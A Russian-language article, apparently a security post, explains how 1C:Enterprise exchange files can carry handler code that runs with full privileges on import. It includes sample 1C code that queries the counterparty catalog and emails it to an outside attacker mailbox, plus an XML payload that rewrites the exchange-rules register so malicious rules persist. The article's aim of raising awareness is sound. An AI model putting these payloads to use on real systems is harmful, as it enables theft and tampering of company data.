Как известно, правила конвертации содержат обработчики различных событий обмена: перед началом загрузки, при загрузке объекта и т.п. В версиях для платформы 7.7 код этих обработчиков прописывался в обработке обмена. Платформа 8.х же добавила в арсенал программиста инструкцию "Выполнить", и, вместе с ней, возможность размещать код обработчиков непосредственно в тексте правил. А при загрузке данных правила обмена берутся из самого файла обмена (для конфигураций на БСП это не совсем так, но о них позже). И ни платформа, ни типовые конфигурации от 1С не проводят никакой проверки этих правил, кроме валидации на соответствие стандарту XML.
Проблема настолько очевидна, что и говорить-то, казалось бы, не о чем. Однако, как выяснилось, далеко не все программисты и администраторы осознают наличие бреши в безопасности, которую может создать обмен данными.
Давайте рассмотрим для примера торговую компанию со следующей организацией инфраструктуры информационных баз:
Менеджеры по закупкам и оптовым продажам работают в управлении торговлей в офисе. Также есть небольшой розничный магазин, в котором установлена базовая 1С:Розница.
Допустим, недобросовестный продавец в магазине решил за некоторое вознаграждение "слить" базу конкурентам. Какую информацию они смогут получить? Очевидно, обороты по магазину, график поставок, цены... Неприятно, но не смертельно, особенно если основной оборот компании идёт по опту.
Самое противное в этой ситуации то, что злоумышленнику станут доступны параметры выполнения обмена: адрес электронной почты для обмена и коды узлов обмена. И ничто не мешает им подменить файл выгрузки на что-нибудь такое:
<ФайлОбмена>
<ПравилаОбмена>
<ПослеЗагрузкиДанных>
//тут вредоносный код
</ПослеЗагрузкиДанных>
</ПравилаОбмена>
<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
</ФайлОбмена>
И при загрузке код обработчика будет выполнен, причём выполнен чаще всего в привилегированном режиме, т.е. полностью игнорируя все ограничения доступа к данным.
Что может быть в этом обработчике? Да что угодно, например
ВремФайл = ПолучитьИмяВременногоФайла("txt");
Запрос = Новый Запрос("Выбрать * Из Справочник.Контрагенты");
ЗначениеВФайл(ВремФайл, Запрос.Выполнить());
Профиль = Новый ИнтернетПочтовыйПрофиль;
Профиль.АдресСервераPOP3 = "pop.somemail.ru";
Профиль.АдресСервераSMTP = "smtp.somemail.ru";
Профиль.Пароль = "123456";
Профиль.Пользователь = "zloyhacker";
Профиль.ИспользоватьSSLSMTP = Истина;
Профиль.ПарольSMTP = Профиль.Пароль;
Профиль.ПользовательSMTP = Профиль.Пользователь;
Сообщение = Новый ИнтернетПочтовоеСообщение;
Сообщение.Получатели.Добавить("exchange@corpmail.ru");
Сообщение.Вложения.Добавить(ВремФайл, "Контрагенты");
Сообщение.Отправитель = "zloyhacker@somemail.ru";
Почта = Новый ИнтернетПочта;
Почта.Подключиться(Профиль);
Почта.Послать(Сообщение);
Почта.Отключиться();
И клиентская база из управления торговлей благополучно отправится к конкурентам, когда файл обмена будет принят. Аналогичным образом могут утечь и контакты поставщиков и закупочные цены, и вообще всё, что может представлять коммерческий интерес.
Кроме того, в справочнике НастройкиОбменаДанными хранятся правила для обмена с бухгалтерией, и, в случае подмены хранилища значений с правилами на аналогичные приведённым выше, много интересного может утечь и из ИБ бухгалтерии. Персональные данные сотрудников, например. А если вспомнить, что данные могут не только читаться, но и меняться... В общем, всё может стать весьма печально.
Это то, что касается типовых конфигураций на обычных формах. С конфигурациями на БСП всё несколько иначе: в подсистеме "Обмен данными" правила обмена при загрузке берутся не из файла обмена, а из регистра сведений "ПравилаДляОбменаДанными", в котором хранятся как правила для выгрузки, так и для загрузки данных. Казалось бы, проблемы больше нет, но не так всё радужно, как хотелось бы.
Если в регистр записаны пустые правила
<ПравилаОбмена>
<ВерсияФормата>2.01</ВерсияФормата>
</ПравилаОбмена>
то при загрузке они по-прежнему будут считываться из файла обмена.
Однако, при настройке обменов БСП в обязательном порядке требует указания правил загрузки и без них не сохраняет настройку обмена. Как же они могут оказаться пустыми? Да очень просто: вспомним, что никаких проверок на соответствие данных в файле ни плану обмена, ни правилам не производится. Соотвественно, в файле могут содержаться вообще любые данные, в том числе и запись регистра сведений "ПравилаДляОбменаДанными". И, если хотя бы один раз загрузить файл обмена такого вида:
<?xml version="1.0" encoding="UTF-8"?>
<ФайлОбмена>
<ПравилаОбмена>
<ПослеЗагрузкиДанных>ЧтениеСообщения = Новый Структура(ЧтениеСообщения);ЧтениеСообщения.НомерСообщения = ЧтениеСообщения.ОтправительОбъект.НомерПринятого;ЧтениеСообщения = Новый ФиксированнаяСтруктура(ЧтениеСообщения)</ПослеЗагрузкиДанных>
</ПравилаОбмена>
<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
<НаборЗаписейРегистра Тип="РегистрСведенийНаборЗаписей.ПравилаДляОбменаДанными">
<Отбор>
<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
<Значение>ПравилаКонвертацииОбъектов</Значение>
</Свойство>
<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
<Значение>ОбменУправлениеТорговлейРозница</Значение>
</Свойство>
</Отбор>
<СтрокиНабораЗаписей>
<Объект Тип="РегистрСведенийЗапись.ПравилаДляОбменаДанными">
<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
<Значение>ПравилаКонвертацииОбъектов</Значение>
</Свойство>
<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
<Значение>ОбменУправлениеТорговлейРозница</Значение>
</Свойство>
<Свойство Имя="ПравилаЗагружены" Тип="Булево">
<Значение>true</Значение>
</Свойство>
<Свойство Имя="ПравилаЗачитанные" Тип="ХранилищеЗначения">
<Значение>#тут сериазованная в BASE64 структура правил выгрузки из данной ИБ</Значение>
</Свойство>
<Свойство Имя="ПравилаЗачитанныеКорреспондента" Тип="ХранилищеЗначения">
<Значение>#тут сериазованная в BASE64 структура с пустыми правилами</Значение>
</Свойство>
</Объект>
</СтрокиНабораЗаписей>
</НаборЗаписейРегистра>
</ФайлОбмена>
при всех последующих загрузках правила обмена будут браться из файла и все беды, описанные для классических конфигураций проявятся во всей полноте и здесь.
Будьте внимательны и следите за безопасностью обменов.